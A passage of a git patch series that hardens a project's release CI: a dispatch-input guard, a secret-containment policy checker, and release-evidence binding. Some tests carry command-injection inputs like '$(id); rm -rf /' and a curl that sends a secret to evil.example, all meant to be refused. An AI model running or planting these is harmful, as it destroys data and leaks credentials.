grep", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace( + 'if [[ ! "$INPUT_VERSION" =~ $version_shape ]]; then', + 'if ! printf \'%s\' "$INPUT_VERSION" | grep -Eq "$version_shape"; then', + ); + }, /must not run grep/u], ["validation moves behind the minted token", workflow => { moveNamedStepAfter(workflow.jobs.sync, guard, "Mint a scoped marketplace token"); }, /must validate the dispatched coordinates before any other step/u], + // Validating first only matters if the validated value is what the checkout resolves. + ["the checkout resolves the workflow ref instead of the validated commit", workflow => { + draftStep(workflow.jobs.sync, "Checkout the published commit").with.ref = "${{ github.ref }}"; + }, /Checkout the published commit must resolve the validated \$\{\{ inputs\.commit \}\}/u], + ["the checkout resolves an unvalidated spelling of the same input", workflow => { + draftStep(workflow.jobs.sync, "Checkout the published commit").with.ref = + "${{ github.event.inputs.commit }}"; + }, /Checkout the published commit must resolve the validated \$\{\{ inputs\.commit \}\}/u], ["a third dispatch input appears", workflow => { workflow.on.workflow_dispatch.inputs.ref = { required: false, type: "string" }; }, /must dispatch on exactly a version and a commit/u], @@ -2399,3 +2449,48 @@ test("marketplace sync keeps dispatch inputs out of script text", async (t) => { }); } }); + +// The guard is the layer the workflow relies on before a ref is resolved or a token is minted, so +// it is proven by running it rather than by reading it. Every refusal below reaches the guard's own +// `::error::` and exit 1: a bash syntax error would also be non-zero and would prove nothing. +test("the marketplace dispatch guard refuses whole values, not first lines", async (t) => { + const commit = "0123456789abcdef0123456789abcdef01234567"; + const version = "0.16.3"; + const refused = [ + // grep anchors per line, so each of these presents one well-formed line and smuggles the rest. + ["a commit whose first line is a valid abbreviated sha", { + INPUT_COMMIT: "abc1234\n$(id); rm -rf /", + INPUT_VERSION: version, + }], + ["a commit whose payload precedes the sha", { INPUT_COMMIT: "; id\nabc1234", INPUT_VERSION: version }], + ["a version whose first line is a release", { INPUT_COMMIT: commit, INPUT_VERSION: "0.16.3\n; id" }], + ["a version whose payload precedes the release", { INPUT_COMMIT: commit, INPUT_VERSION: "; id\n0.16.3" }], + ["a commit carrying a command substitution", { INPUT_COMMIT: "abc1234$(id)", INPUT_VERSION: version }], + ["a version carrying a trailing command", { INPUT_COMMIT: commit, INPUT_VERSION: "0.16.3; id" }], + ["a commit shorter than an abbreviation", { INPUT_COMMIT: "abc123", INPUT_VERSION: version }], + ["a commit longer than a sha", { INPUT_COMMIT: `${commit}ab`, INPUT_VERSION: version }], + ["a non-hexadecimal commit", { INPUT_COMMIT: "zzzzzzz", INPUT_VERSION: version }], + ["an empty commit", { INPUT_COMMIT: "", INPUT_VERSION: version }], + ["an empty version", { INPUT_COMMIT: commit, INPUT_VERSION: "" }], + ["a v-prefixed version", { INPUT_COMMIT: commit, INPUT_VERSION: "v0.16.3" }], + ]; + for (const [name, environment] of refused) { + await t.test(`refuses ${name}`, () => { + const result = runMarketplaceGuard(environment); + assert.equal(result.status, 1, `guard admitted ${JSON.stringify(environment)}`); + assert.match(result.stdout, /::error::/u); + }); + } + const admitted = [ + ["an abbreviated sha", { INPUT_COMMIT: "abc1234", INPUT_VERSION: version }], + ["a full sha", { INPUT_COMMIT: commit, INPUT_VERSION: "1.0.0" }], + ["a prerelease version", { INPUT_COMMIT: commit, INPUT_VERSION: "0.16.3-rc.1" }], + ["an uppercase sha", { INPUT_COMMIT: "ABC1234DEF", INPUT_VERSION: version }], + ]; + for (const [name, environment] of admitted) { + await t.test(`admits ${name}`, () => { + const result = runMarketplaceGuard(environment); + assert.equal(result.status, 0, result.stderr); + }); + } +}); diff --git a/.github/workflows/marketplace-sync.yml b/.github/workflows/marketplace-sync.yml index 1bf284441..42c280024 100644 --- a/.github/workflows/marketplace-sync.yml +++ b/.github/workflows/marketplace-sync.yml @@ -42,11 +42,17 @@ jobs: INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - if ! printf '%s' "$INPUT_COMMIT" | grep -Eq '^[0-9a-fA-F]{7,40}$'; then + # Match the whole value, not a line inside it. grep anchors per line, so a dispatched + # commit of a well-formed abbreviation followed by a newline and a payload passes a + # per-line test on its first line and carries the rest through untouched. Bash regex has + # no notion of a line: here ^ and $ are the ends of the value itself. + commit_shape='^[0-9a-fA-F]{7,40}$' + version_shape='^[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.]+)?$' + if [[ ! "$INPUT_COMMIT" =~ $commit_shape ]]; then echo "::error::commit must be a 7-40 character hexadecimal commit id." exit 1 fi - if ! printf '%s' "$INPUT_VERSION" | grep -Eq '^[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.]+)?$'; then + if [[ ! "$INPUT_VERSION" =~ $version_shape ]]; then echo "::error::version must be a semantic version without a v prefix." exit 1 fi From 528c7fe41fc6479c272c9548ab68c258ef0f9cf1 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:11:35 -0500 Subject: [PATCH 027/132] refuse every unsanctioned secret read and every empty plugin chain Review found the two gates this PR added were both fail-open. The replacement secret rule tripped on `key === "secrets"` or a value containing `"secrets."`. `secrets.NAME` is only one of the ways a GitHub expression reaches that context: `${{ toJSON(secrets) }}` dumps the whole context, `${{ secrets['NAME'] }}` indexes it, contexts are case-insensitive so `SECRETS.NAME` also resolves, and a walk over object entries never visits a string sitting in a bare list. All four shapes were policy-clean, including a `curl -d "${{ secrets['...'] }}" https://evil.example` appended to the job that tags the release. The blanket ban this replaced caught every one of them, so the relaxation needed to admit the token step gave away the lane's only advertised security property. Stop pattern-matching the smuggling shapes. Redact the two permitted identity reads at their exact position -- the marketplace token step's `app-id` and `private-key`, each matched against its exact expression -- and require the serialized remainder to name secrets nowhere at all. That is the same whole-workflow scan as before with one hole cut in a known place, so it is no weaker than the rule it replaces, and a token step that mints from a different credential, or a second step that merely borrows its name, keeps its mention. The plugin lane's DAG moved into `workflow_policy.plugin_chain`, and the checker only asserts that `needs:` match whatever that data says. Nothing validated the data. Blanking `publish` and `post-publish-smoke` to `[]` and deleting the matching `needs:` lines left both gates green with `gh release create` running detached from the release-authority checks and the entire plugin-proof matrix. `release_chain` rejects the identical edit. Give `plugin_chain` a schema in the claim graph validator, which `loadReleaseClaimGraph` runs for the checker too: non-empty dependency lists, no dependency on a job the lane never declares, no cycle, every job behind the `workflow-policy` gate, and the ordering the lane exists to enforce -- tagging behind preflight and the plugin proof, catalog publication behind the release it advertises, install proof behind both. Data still says what the lane is; the schema says what any lane must satisfy. The suite certified the hole as covered: both new secret subtests exercised the shapes that already worked. Replace them with a block that enumerates every way of naming the context, and add one for the chain that leaves the workflow and the graph agreeing with each other so only the schema can refuse it. Six of the nine secret subtests and all eleven chain subtests fail without these repairs. Known deployment precondition, unchanged by this commit: the `marketplace-publish` environment and its two secrets do not exist in the repository yet, so the job cannot succeed until the owner provisions them. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 59 ++++++++------- .../scripts/check-workflow-policy.test.mjs | 62 ++++++++++++++-- scripts/codestory-release-claims.mjs | 72 +++++++++++++++++++ .../tests/codestory-release-claims.test.mjs | 51 +++++++++++++ 4 files changed, 214 insertions(+), 30 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 6f66f4dd2..bb2bc1677 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -4416,6 +4416,29 @@ export function validateCargoTestFilters( } } +// The only secret read the plugin lane is allowed is the marketplace app identity, and only in the +// step that mints the scoped token. Return a copy of the workflow with exactly that read removed, +// so whatever still names the secrets context afterwards is a read nobody sanctioned. Both the key +// and the expression must match exactly: swapping either value for a different secret leaves the +// mention in place rather than inheriting the exemption. +const MARKETPLACE_IDENTITY_READS = new Map([ + ["app-id", "${{ secrets.MARKETPLACE_APP_ID }}"], + ["private-key", "${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }}"], +]); + +function withoutMarketplaceIdentity(workflow) { + const redacted = JSON.parse(JSON.stringify(workflow)); + const tokenStep = namedStep( + object(object(redacted.jobs)["marketplace-publish"]), + "Mint a scoped marketplace token", + ); + const inputs = object(tokenStep?.with); + for (const [key, expression] of MARKETPLACE_IDENTITY_READS) { + if (inputs[key] === expression) delete inputs[key]; + } + return redacted; +} + export function validatePluginRelease(workflows, violations, graph) { const file = "plugin-release.yml"; const workflow = workflows.get(file); @@ -4429,30 +4452,18 @@ export function validatePluginRelease(workflows, violations, graph) { // Nothing is built or signed on the plugin lane, so it declares no callable secret surface and // its caller forwards none. The one credential it may read is the marketplace app identity, and // only where the scoped token is minted. - const marketplaceTokenIndex = list(object(object(workflow.jobs)["marketplace-publish"]).steps) - .findIndex(step => object(step).name === "Mint a scoped marketplace token"); - const marketplaceIdentityKeys = new Map([ - ["${{ secrets.MARKETPLACE_APP_ID }}", "app-id"], - ["${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }}", "private-key"], - ]); - walk(workflow, (key, value, trail) => { - const mentionsSecret = key === "secrets" - || (typeof value === "string" && value.includes("secrets.")); - if (!mentionsSecret) return; - const mintsMarketplaceIdentity = marketplaceTokenIndex >= 0 - && trail.length === 6 - && trail[0] === "jobs" - && trail[1] === "marketplace-publish" - && trail[2] === "steps" - && trail[3] === marketplaceTokenIndex - && trail[4] === "with" - && marketplaceIdentityKeys.get(value) === key; - add( - violations, - mintsMarketplaceIdentity, - `${file} must not receive or forward secrets beyond the minted marketplace app identity: nothing is built or signed on the plugin lane`, - ); - }); + // + // The rule stays a whole-workflow substring scan, no weaker than the blanket ban it replaces, + // because "secrets." is not the only way to reach the context: `toJSON(secrets)`, + // `secrets['NAME']`, a `secrets:` key, a secret smuggled through a bare array element, and + // `SECRETS.NAME` (contexts are case-insensitive) all name it without that substring. Instead of + // pattern-matching the smuggling shapes, redact the two permitted identity reads at their exact + // position and require the remainder to mention secrets nowhere at all. + add( + violations, + !/secrets/iu.test(JSON.stringify(withoutMarketplaceIdentity(workflow))), + `${file} must not receive or forward secrets beyond the minted marketplace app identity: nothing is built or signed on the plugin lane`, + ); walk(workflow, (key, value) => { if (/^APPLE_/u.test(key) || (typeof value === "string" && /\bAPPLE_[A-Z0-9_]+\b/u.test(value))) { violations.push(`${file} must never reference Apple signing material`); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index b3910403e..3cd6fd726 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2372,12 +2372,6 @@ test("the plugin lane publishes the catalog it then smoke-installs", async (t) = ["catalog publication hides the revision it pushed", workflow => { delete workflow.jobs["marketplace-publish"].outputs; }, /marketplace publication must publish the revision it pushed/u], - ["a secret leaks outside the token step", workflow => { - catalogStep(workflow).env.APP_ID = "${{ secrets.MARKETPLACE_APP_ID }}"; - }, /must not receive or forward secrets beyond the minted marketplace app identity/u], - ["the lane opens a callable secret surface", workflow => { - workflow.on.workflow_call.secrets = { MARKETPLACE_APP_ID: { required: true } }; - }, /must not receive or forward secrets beyond the minted marketplace app identity/u], ]; for (const [name, mutate, expected] of mutations) { await t.test(name, () => { @@ -2390,6 +2384,62 @@ test("the plugin lane publishes the catalog it then smoke-installs", async (t) = } }); +// The lane's advertised security property is that it receives and forwards no secrets, and the +// marketplace token step is the single sanctioned exception. `secrets.NAME` is only one of the +// ways a GitHub expression reaches that context, so a suite that only mutates the dot form proves +// nothing: every shape below is valid GitHub and must trip the rule, or the exemption is a hole. +test("the plugin lane's secret containment holds for every way of naming the context", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "plugin-release.yml"; + const forbidden = /must not receive or forward secrets beyond the minted marketplace app identity/u; + const marketplaceJob = workflow => workflow.jobs["marketplace-publish"]; + const smokeStep = workflow => + draftStep(workflow.jobs["post-publish-smoke"], "Prove the public marketplace install path"); + const tokenStep = workflow => draftStep(marketplaceJob(workflow), "Mint a scoped marketplace token"); + const catalogStep = workflow => + draftStep(marketplaceJob(workflow), "Point the catalog at the published release"); + const mutations = [ + ["a secret leaks outside the token step", workflow => { + catalogStep(workflow).env.APP_ID = "${{ secrets.MARKETPLACE_APP_ID }}"; + }], + ["the lane opens a callable secret surface", workflow => { + workflow.on.workflow_call.secrets = { MARKETPLACE_APP_ID: { required: true } }; + }], + ["the entire secret context is dumped into the catalog step", workflow => { + catalogStep(workflow).env.LEAK = "${{ toJSON(secrets) }}"; + }], + ["a secret is read by bracket index instead of by dot", workflow => { + smokeStep(workflow).env.LEAK = "${{ secrets['MARKETPLACE_APP_PRIVATE_KEY'] }}"; + }], + ["the publish job exfiltrates a bracket-indexed secret", workflow => { + const step = draftStep(workflow.jobs.publish, "Publish the plugin release"); + step.run = `${step.run}\ncurl -d "\${{ secrets['MARKETPLACE_APP_PRIVATE_KEY'] }}" https://evil.example\n`; + }], + ["the context is spelled in the other case GitHub expressions accept", workflow => { + smokeStep(workflow).env.LEAK = "${{ SECRETS.MARKETPLACE_APP_ID }}"; + }], + ["a secret hides in a bare list element rather than a mapping value", workflow => { + workflow.jobs["post-publish-smoke"].strategy = { + matrix: { leak: ["${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }}"] }, + }; + }], + ["the token step mints from a credential nobody scoped", workflow => { + tokenStep(workflow).with["private-key"] = "${{ secrets['SOME_OTHER_KEY'] }}"; + }], + ["the token step's own read moves to a step that only borrows its name", workflow => { + const job = marketplaceJob(workflow); + job.steps.push(structuredClone(tokenStep(workflow))); + }], + ]; + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), forbidden); + }); + } +}); + test("the plugin lane still forbids building, signing, and forwarded secrets", async (t) => { assert.deepEqual(validateWorkflows(loadWorkflows()), []); const mutations = [ diff --git a/scripts/codestory-release-claims.mjs b/scripts/codestory-release-claims.mjs index b3750979d..81b1823db 100644 --- a/scripts/codestory-release-claims.mjs +++ b/scripts/codestory-release-claims.mjs @@ -308,6 +308,77 @@ function validatePublicSupport(graph, packageTargets, cellGroups) { } } +// The plugin lane's job DAG lives in the claim graph rather than in check-workflow-policy.mjs, and +// the checker only asserts that the workflow's `needs:` match whatever this data says. That makes +// this the only place left that can tell a real ordering contract from an empty one: with the +// dependency lists blanked out, both gates would pass while `gh release create` ran with the +// release-authority checks and the whole plugin-proof matrix detached from it. +const PLUGIN_CHAIN_ROOT = "workflow-policy"; +const PLUGIN_CHAIN_ORDER = [ + // Tagging is irreversible, so everything that can still refuse the release runs before it. + ["publish", "preflight"], + ["publish", "plugin-proof"], + // The catalog and the install proof that reads it only mean anything once the release exists. + ["marketplace-publish", "publish"], + ["post-publish-smoke", "publish"], + ["post-publish-smoke", "marketplace-publish"], +]; + +function pluginChainAncestors(dependencies, job, seen = new Set()) { + for (const dependency of dependencies[job] ?? []) { + if (seen.has(dependency)) continue; + seen.add(dependency); + pluginChainAncestors(dependencies, dependency, seen); + } + return seen; +} + +function validatePluginChain(value) { + const chain = object(value, "workflow_policy.plugin_chain"); + const dependencies = object(chain.dependencies, "workflow_policy.plugin_chain.dependencies"); + const jobs = Object.keys(dependencies); + if (jobs.length === 0) { + fail("workflow_policy.plugin_chain.dependencies must declare at least one job"); + } + const declared = new Set([PLUGIN_CHAIN_ROOT, ...jobs]); + // Null-prototype so a job named after an Object member cannot smuggle a dependency list past the + // reachability walk below. + const resolved = Object.create(null); + for (const job of jobs) { + nonEmptyText(job, "workflow_policy.plugin_chain.dependencies job"); + if (job === PLUGIN_CHAIN_ROOT) { + fail(`workflow_policy.plugin_chain.dependencies must not redeclare ${PLUGIN_CHAIN_ROOT}`); + } + resolved[job] = stringArray( + dependencies[job], + `workflow_policy.plugin_chain.dependencies.${job}`, + { nonEmpty: true }, + ); + for (const dependency of resolved[job]) { + if (!declared.has(dependency)) { + fail(`workflow_policy.plugin_chain.dependencies.${job} names undeclared job ${dependency}`); + } + } + } + for (const job of jobs) { + const ancestors = pluginChainAncestors(resolved, job); + if (ancestors.has(job)) { + fail(`workflow_policy.plugin_chain.dependencies.${job} cannot depend on itself`); + } + if (!ancestors.has(PLUGIN_CHAIN_ROOT)) { + fail(`workflow_policy.plugin_chain.dependencies.${job} must run behind ${PLUGIN_CHAIN_ROOT}`); + } + } + for (const [job, required] of PLUGIN_CHAIN_ORDER) { + if (!declared.has(job) || !declared.has(required)) { + fail(`workflow_policy.plugin_chain.dependencies must declare ${job} and ${required}`); + } + if (!pluginChainAncestors(resolved, job).has(required)) { + fail(`workflow_policy.plugin_chain.dependencies.${job} must run behind ${required}`); + } + } +} + export function canonicalReleaseClaimValue(value) { if (Array.isArray(value)) return value.map(canonicalReleaseClaimValue); if (value !== null && typeof value === "object") { @@ -649,6 +720,7 @@ export function validateReleaseClaimGraph(graph) { fail("optional release evidence must not block a standard release job"); } } + validatePluginChain(policy.plugin_chain); stringArray(policy.artifact_workflows, "workflow_policy.artifact_workflows", { nonEmpty: true }); const promotion = object(policy.promotion, "workflow_policy.promotion"); nonEmptyText(promotion.source_branch, "workflow_policy.promotion.source_branch"); diff --git a/scripts/tests/codestory-release-claims.test.mjs b/scripts/tests/codestory-release-claims.test.mjs index dccbceff5..97c39192b 100644 --- a/scripts/tests/codestory-release-claims.test.mjs +++ b/scripts/tests/codestory-release-claims.test.mjs @@ -290,6 +290,57 @@ test("graph rejects ambiguous dependencies and unstructured proof lanes", () => } }); +// check-workflow-policy.mjs asserts only that plugin-release.yml's `needs:` match this data, so a +// chain that parses but orders nothing would let both gates pass while `gh release create` ran +// detached from the release-authority checks and the plugin-proof matrix. Every mutation below +// leaves the workflow and the graph agreeing with each other; only the schema can refuse them. +test("the plugin chain must order the lane, not merely name it", async (t) => { + const chain = (graphValue) => graphValue.workflow_policy.plugin_chain.dependencies; + const mutations = [ + ["the ordering contract is dropped wholesale", (mutated) => { + delete mutated.workflow_policy.plugin_chain; + }, /workflow_policy\.plugin_chain must be an object/u], + ["the dependencies key is not a mapping", (mutated) => { + mutated.workflow_policy.plugin_chain.dependencies = []; + }, /workflow_policy\.plugin_chain\.dependencies must be an object/u], + ["the lane declares no jobs at all", (mutated) => { + mutated.workflow_policy.plugin_chain.dependencies = {}; + }, /plugin_chain\.dependencies must declare at least one job/u], + ["tagging is cut loose from every gate", (mutated) => { + chain(mutated).publish = []; + }, /plugin_chain\.dependencies\.publish must be a non-empty array/u], + ["the install proof is cut loose from every gate", (mutated) => { + chain(mutated)["post-publish-smoke"] = []; + }, /plugin_chain\.dependencies\.post-publish-smoke must be a non-empty array/u], + ["tagging stops waiting on the plugin proof", (mutated) => { + chain(mutated).publish = ["preflight"]; + }, /plugin_chain\.dependencies\.publish must run behind plugin-proof/u], + ["the plugin proof is deleted from the lane", (mutated) => { + delete chain(mutated)["plugin-proof"]; + chain(mutated).publish = ["preflight"]; + }, /plugin_chain\.dependencies must declare publish and plugin-proof/u], + ["catalog publication races the release it advertises", (mutated) => { + chain(mutated)["marketplace-publish"] = ["preflight"]; + }, /plugin_chain\.dependencies\.marketplace-publish must run behind publish/u], + ["the install proof stops waiting on catalog publication", (mutated) => { + chain(mutated)["post-publish-smoke"] = ["preflight", "publish"]; + }, /plugin_chain\.dependencies\.post-publish-smoke must run behind marketplace-publish/u], + ["a dependency names a job the lane never declares", (mutated) => { + chain(mutated).publish = ["preflight", "plugin-proof", "imaginary-gate"]; + }, /plugin_chain\.dependencies\.publish names undeclared job imaginary-gate/u], + ["the lane closes into a cycle no job can enter", (mutated) => { + chain(mutated).preflight = ["plugin-proof"]; + }, /plugin_chain\.dependencies\.(?:preflight|plugin-proof) cannot depend on itself/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const mutated = structuredClone(graph); + mutate(mutated); + assert.throws(() => validateReleaseClaimGraph(mutated), expected); + }); + } +}); + test("evaluation requires exact repository and source-tree identity", () => { const fixture = positiveFixture(); delete fixture.expected_identity.source_tree; From 611b530b31b698596b15caa8bf95ca837a33af82 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:13:06 -0500 Subject: [PATCH 028/132] bind a reused row to the one commit the closeout proved Anchoring a reuse row to its earlier run made the closeout read that row's evidence at the release commit, which is exactly what the binding equates. But that comparison in the claim evaluator was the only thing that had ever bound a manifest's declared commit to anything at all, and reading the row at the release commit suppressed it. The proved commit was computed, recorded, and then never compared, so a reused row's manifest could declare any commit whatsoever and still land in an accepted pre-publish ledger -- attesting a commit the closeout never saw, never proved an ancestor, and never proved tree-equal. The proof covers exactly one commit, so that is the only commit the manifest may declare. Producer authentication now compares the two, and the substitution is granted to that commit alone: a row declaring any other, this release's own included, is read as written and fails the same commit check every same-run row faces. Reuse also has to mean inheritance. A block naming the run that is publishing inherits nothing and verifies vacuously under either declared binding, since a commit is its own ancestor and its own tree. Left admissible it was a general opt-out from the commit check for any same-run row willing to name itself. Such a block is now refused as meaningless before any binding is proved, so the row keeps the anchor, and the checks, it would have had with no reuse block at all. The relocated binding verifier leaves no compatibility export behind in the producer module, and its real-history test moves to the claim module that owns it -- into the suite pull requests actually run rather than one only the release workflow runs. The second declared binding, native_fingerprint for accelerator_execution, stays refused: that group requires source_tree, and fingerprint reuse exists precisely because the trees differ. Widening it is a separate trust decision from the source-proof reuse #1552 describes, so it is pinned here as a documented refusal instead. Refs #1552 Co-Authored-By: Claude Opus 5 --- scripts/codestory-release-cell-manifest.mjs | 2 - scripts/codestory-release-closeout.mjs | 30 ++++- .../codestory-release-cell-manifest.test.mjs | 33 ----- .../tests/codestory-release-claims.test.mjs | 47 +++++++ .../tests/codestory-release-closeout.test.mjs | 121 ++++++++++++++++++ 5 files changed, 195 insertions(+), 38 deletions(-) diff --git a/scripts/codestory-release-cell-manifest.mjs b/scripts/codestory-release-cell-manifest.mjs index 6dfdbdc72..9ce7201e1 100644 --- a/scripts/codestory-release-cell-manifest.mjs +++ b/scripts/codestory-release-cell-manifest.mjs @@ -17,8 +17,6 @@ import { validateReleaseCellManifest, } from "./codestory-release-closeout.mjs"; -export { verifyReuseBinding }; - const PRODUCER_MAP_SCHEMA = "codestory.release-actions-provenance/v1"; const ACTIONS_DIGEST = /^sha256:[0-9a-f]{64}$/u; diff --git a/scripts/codestory-release-closeout.mjs b/scripts/codestory-release-closeout.mjs index e7fed073f..ba0696f2c 100644 --- a/scripts/codestory-release-closeout.mjs +++ b/scripts/codestory-release-closeout.mjs @@ -292,6 +292,14 @@ function producerAnchor({ cell, row, trustedProducers, gitIdentity, bindings, ve errors.push(`trusted producer map ${cell.id} reused run identity is invalid`); return sameRun; } + // Reuse inherits what an *earlier* run produced. A block naming the run that is publishing + // inherits nothing, and every binding it could name verifies vacuously -- a commit is its own + // ancestor and its own tree -- so treating it as reuse would hand an ordinary same-run row the + // reused row's freedom from the release commit. There is nothing here to reuse. + if (String(reused.run_id) === String(trustedProducers.run_id ?? "")) { + errors.push(`trusted producer map ${cell.id} reuses evidence from the publishing run`); + return sameRun; + } if (typeof verify !== "function") { errors.push(`trusted producer map ${cell.id} reuses evidence this closeout cannot verify`); return sameRun; @@ -522,7 +530,7 @@ function trustedProducerIndex({ return { byCell, reusedByCell, errors }; } -function producerAuthenticationProblems(manifest, trustedProducer) { +function producerAuthenticationProblems(manifest, trustedProducer, reusedCommit) { if (!trustedProducer) return ["manifest producer is absent from the trusted producer map"]; const identity = manifest.evidence?.identity ?? {}; const problems = []; @@ -538,6 +546,13 @@ function producerAuthenticationProblems(manifest, trustedProducer) { problems.push(`manifest ${key} does not match the trusted producer map`); } } + // A same-run manifest is held to the release commit by the claim evaluator. A reused one is + // read at the release commit instead, so that comparison no longer binds it to anything -- + // this does. The binding proof covers exactly one earlier commit, and it is the only commit + // this manifest may declare. + if (reusedCommit !== undefined && identity.commit !== reusedCommit) { + problems.push("manifest commit is not the reused commit the closeout proved bound to this release"); + } return problems; } @@ -665,9 +680,14 @@ function evaluateCell({ // closeout just re-proved against its own checkout. Reading it at the release commit applies // that binding; the row's own source tree is still compared against this release, so a binding // that does not equate the trees still fails. The ledger keeps the manifest identity untouched. + // + // The substitution is granted to exactly the commit the proof covered. A row declaring any + // other commit is not the evidence that was proved, so it is read as written and fails the + // claim evaluator's commit check -- the same check that binds every same-run row. const evidence = evidenceCells.map((dependency) => { const row = manifests.get(dependency.id).evidence; - if (!reusedByCell.has(dependency.id)) return row; + const provedCommit = reusedByCell.get(dependency.id); + if (provedCommit === undefined || row.identity?.commit !== provedCommit) return row; return { ...row, identity: { ...row.identity, commit: gitIdentity.commit } }; }); const requestedClaims = claims.map((claim) => ({ @@ -938,7 +958,11 @@ export function evaluateReleaseCloseout({ if (rows.length !== 1) continue; const manifest = rows[0]; const problems = manifestProblems({ manifest, cell, graph, graphSha256, version }); - problems.push(...producerAuthenticationProblems(manifest, trusted.byCell.get(cell.id))); + problems.push(...producerAuthenticationProblems( + manifest, + trusted.byCell.get(cell.id), + trusted.reusedByCell.get(cell.id), + )); problems.push(...artifactBindingProblems( manifest, bindings.byCell.get(cell.id), diff --git a/scripts/tests/codestory-release-cell-manifest.test.mjs b/scripts/tests/codestory-release-cell-manifest.test.mjs index c8d75aba2..dfdddd0f8 100644 --- a/scripts/tests/codestory-release-cell-manifest.test.mjs +++ b/scripts/tests/codestory-release-cell-manifest.test.mjs @@ -6,7 +6,6 @@ import test from "node:test"; import { fileURLToPath } from "node:url"; import { buildTrustedProducerMap, - verifyReuseBinding, produceReleaseCellManifest, } from "../codestory-release-cell-manifest.mjs"; import { @@ -395,35 +394,3 @@ test("reused evidence keeps every same-run trust requirement", () => { missing.artifacts = []; assert.throws(withReuse(missing), /must retain one/u); }); - -test("reuse bindings verify tree identity and fingerprint equality against real history", () => { - // v0.16.0 -> v0.16.1 is a pure version bump in this repository's real history: different - // trees (so source_tree reuse must refuse) but identical native fingerprints (so - // accelerator inheritance is exactly what version_only_delta authorizes). - const releaseTag = "00121349"; // v0.16.1 release commit - const priorTag = "29bd4795"; // v0.16.0 release commit - assert.throws( - () => verifyReuseBinding({ - binding: "source_tree", - repository: root, - releaseCommit: releaseTag, - reusedCommit: priorTag, - }), - /does not match release tree/u, - ); - const fingerprint = verifyReuseBinding({ - binding: "native_fingerprint", - repository: root, - releaseCommit: releaseTag, - reusedCommit: priorTag, - }); - assert.match(fingerprint, /^[0-9a-f]{64}$/u); - // Identical commits always satisfy the tree binding. - const tree = verifyReuseBinding({ - binding: "source_tree", - repository: root, - releaseCommit: releaseTag, - reusedCommit: releaseTag, - }); - assert.match(tree, /^[0-9a-f]{40}$/u); -}); diff --git a/scripts/tests/codestory-release-claims.test.mjs b/scripts/tests/codestory-release-claims.test.mjs index dccbceff5..fb8099cd6 100644 --- a/scripts/tests/codestory-release-claims.test.mjs +++ b/scripts/tests/codestory-release-claims.test.mjs @@ -16,6 +16,7 @@ import { renderReleasePlatformNotes, validatePublicSupportDocuments, validateReleaseClaimGraph, + verifyReuseBinding, } from "../codestory-release-claims.mjs"; const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../.."); @@ -497,3 +498,49 @@ test("CLI derives repository and tree identity from repo and rejects nonexistent assert.notEqual(nonexistent.status, 0); assert.match(nonexistent.stderr, /git cat-file -e/u); }); + +test("reuse bindings verify tree identity and fingerprint equality against real history", () => { + // Both sides of the ledger prove reuse with this one function -- the producer before it admits + // cross-run evidence, the closeout before it anchors a row onto the earlier run -- so it is + // proved here, against real history, in the suite pull requests actually run. + // + // v0.16.0 -> v0.16.1 is a pure version bump in this repository's real history: different + // trees (so source_tree reuse must refuse) but identical native fingerprints (so + // accelerator inheritance is exactly what version_only_delta authorizes). + const releaseTag = "00121349"; // v0.16.1 release commit + const priorTag = "29bd4795"; // v0.16.0 release commit + assert.throws( + () => verifyReuseBinding({ + binding: "source_tree", + repository: root, + releaseCommit: releaseTag, + reusedCommit: priorTag, + }), + /does not match release tree/u, + ); + const fingerprint = verifyReuseBinding({ + binding: "native_fingerprint", + repository: root, + releaseCommit: releaseTag, + reusedCommit: priorTag, + }); + assert.match(fingerprint, /^[0-9a-f]{64}$/u); + // Identical commits always satisfy the tree binding. + const tree = verifyReuseBinding({ + binding: "source_tree", + repository: root, + releaseCommit: releaseTag, + reusedCommit: releaseTag, + }); + assert.match(tree, /^[0-9a-f]{40}$/u); + // A binding name the claim graph never declared proves nothing. + assert.throws( + () => verifyReuseBinding({ + binding: "source_history", + repository: root, + releaseCommit: releaseTag, + reusedCommit: priorTag, + }), + /unknown reuse binding source_history/u, + ); +}); diff --git a/scripts/tests/codestory-release-closeout.test.mjs b/scripts/tests/codestory-release-closeout.test.mjs index a9c990e2c..699aebcd8 100644 --- a/scripts/tests/codestory-release-closeout.test.mjs +++ b/scripts/tests/codestory-release-closeout.test.mjs @@ -799,3 +799,124 @@ test("reuse never lets stale evidence through the checks that do not depend on t assert.equal(rejected.decision, "reject"); assert.ok(rejected.summary.failed_cells.includes("source_behavior")); }); + +test("a reused manifest may declare only the commit the closeout proved bound to this release", () => { + // Reading a reused row at the release commit is what the binding buys, and it is the only thing + // that ever compared that row's declared commit to anything. So the declared commit has to be + // the one the binding proof covered: not an unrelated commit, and not this release's own, which + // the reused run could not have produced this artifact at. + const declarations = [ + ["a commit the closeout never saw", "d".repeat(40)], + ["the publishing run's own commit", gitIdentity.commit], + ]; + for (const [label, declared] of declarations) { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseSourceBehavior(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === "source_behavior") + .evidence.identity.commit = declared; + const rejected = evaluate("pre_publish", manifests, null, trusted, null, null, reuseVerifier()); + assert.equal(rejected.decision, "reject", label); + 